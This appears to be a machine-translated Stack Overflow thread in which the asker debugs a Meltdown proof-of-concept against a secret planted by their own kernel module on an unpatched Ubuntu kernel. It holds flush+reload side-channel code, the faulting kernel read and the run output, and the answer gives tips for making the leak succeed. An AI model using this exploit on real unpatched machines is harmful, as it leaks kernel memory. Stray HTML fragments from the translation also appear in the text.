我正在尝试使用 Intel Core-i5 4300M上未修补的内核4.8.0-36 利用 Ubuntu 16.04 上的崩溃安全漏洞。 / strong> CPU。
首先,我使用内核模块将秘密数据存储在内核空间中的某个地址:
static __init int initialize_proc(void){
char* key_val = "abcd";
printk("Secret data address = %p\n", key_val);
printk("Value at %p = %s\n", key_val, key_val);
}
printk语句为我提供了秘密数据的地址。
Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd
然后我尝试在此位置访问数据,并在下一条指令中使用它来缓存数组的元素。
// Out of order execution
int meltdown(unsigned long kernel_addr){
char data = *(char*) kernel_addr; //Raises exception
array[data*4096+DELTA] += 10; // <----- Execute out of order
}
我期望CPU在执行乱序执行时可以继续并在索引(data * 4096 + DELTA)处缓存数组元素。此后,将执行边界检查并抛出SIGSEGV。 我处理了SIGSEGV,然后定时访问数组元素以确定已缓存的元素:
void attackChannel_x86(){
register uint64_t time1, time2;
volatile uint8_t *addr;
int min = 10000;
int temp, i, k;
for(i=0;i<256;i++){
time1 = __rdtscp(&temp); //timestamp before memory access
temp = array[i*4096 + DELTA];
time2 = __rdtscp(&temp) - time1; // change in timestamp after the access
if(time2<=min){
min = time2;
k=i;
}
}
printf("array[%d*4096+DELTA]\n", k);
}
由于数据中的值为'a',因此我希望结果为数组[97 * 4096 + DELTA],因为'a'的ASCII值为97。
但是,这不起作用,我得到的是随机输出。
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[241*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[78*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[146*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[115*4096+DELTA]
我可能想到的原因是:
由于系统很容易崩溃,所以我确定排除了第二种可能性。
因此,我的问题是:为什么乱序执行在这里不起作用?是否有任何选项/标志可以“鼓励” CPU按顺序执行?
我已经尝试过的解决方案:
void attackChannel(){
int i, k, temp;
uint64_t diff;
volatile uint8_t *addr;
double min = 10000000;
struct timespec start, end;
for(i=0;i<256;i++){
addr = &array[i*4096 + DELTA];
clock_gettime(CLOCK_MONOTONIC, &start);
temp = *addr;
clock_gettime(CLOCK_MONOTONIC, &end);
diff = end.tv_nsec - start.tv_nsec;
if(diff<=min){
min = diff;
k=i;
}
}
if(min<600)
printf("Accessed element : array[%d*4096+DELTA]\n", k);
}
void meltdown_busy_loop(unsigned long kernel_addr){
char kernel_data;
asm volatile(
".rept 1000;"
"add $0x01, %%eax;"
".endr;"
:
:
:"eax"
);
kernel_data = *(char*)kernel_addr;
array[kernel_data*4096 + DELTA] +=10;
}
int meltdown(unsigned long kernel_addr){
// Cache the data to improve success
int fd = open("/proc/my_secret_key", O_RDONLY);
if(fd<0){
perror("open");
return -1;
}
int ret = pread(fd, NULL, 0, 0); //Data is cached
char data = *(char*) kernel_addr; //Raises exception
array[data*4096+DELTA] += 10; // <----- Out of order
}
对于有兴趣进行设置的任何人,这里是link to the github repo
为了完整起见,我在下面附加主要功能和错误处理代码:
void flushChannel(){
int i;
for(i=0;i<256;i++) array[i*4096 + DELTA] = 1;
for(i=0;i<256;i++) _mm_clflush(&array[i*4096 + DELTA]);
}
void catch_segv(){
siglongjmp(jbuf, 1);
}
int main(){
unsigned long kernel_addr = 0xfa2ef024;
signal(SIGSEGV, catch_segv);
if(sigsetjmp(jbuf, 1)==0)
{
// meltdown(kernel_addr);
meltdown_busy_loop(kernel_addr);
}
else{
printf("Memory Access Violation\n");
}
attackChannel_x86();
}
答案 0 :(得分:2)
我认为数据必须在L1d中才能正常工作,并且仅通过没有特权的TLB /页表条目尝试读取数据不会将其带入L1d。
http://blog.stuffedcow.net/2018/05/meltdown-microarchitecture/
当发生任何不良结果时(页面错误,从非推测性内存类型加载,页面访问位= 0),没有任何处理器会启动内核外L2请求获取数据。
除非我缺少一些东西,否则我认为,只有允许 读取的数据将数据带入L1d时,数据才容易受到Meltdown的攻击。 (直接或通过硬件预取。)我认为重复的Meltdown攻击不会将数据从RAM引入L1d。
尝试在您的机密数据上使用READ_ONCE()
的模块中添加系统调用或其他内容(或手动编写*(volatile int*)&data;
或只是将其写成volatile
以便于触摸)从具有该PTE特权的上下文将其放入缓存。
也:add $0x01, %%eax
是延迟退休的不佳选择。每个uop仅有1个时钟周期的延迟,因此,从ADD之后的第一条指令进入调度程序(RS)并开始运行之前,OoO exec仅有大约64个周期,直到它检查完加法操作,并且有故障的负载达到报废为止。 / p>
至少使用imul
(3c延迟),或更好地使用xorps %xmm0,%xmm0
/重复sqrtpd %xmm0,%xmm0
(单次,Haswell上有16个周期的延迟。)https://agner.org/optimize/。 / p>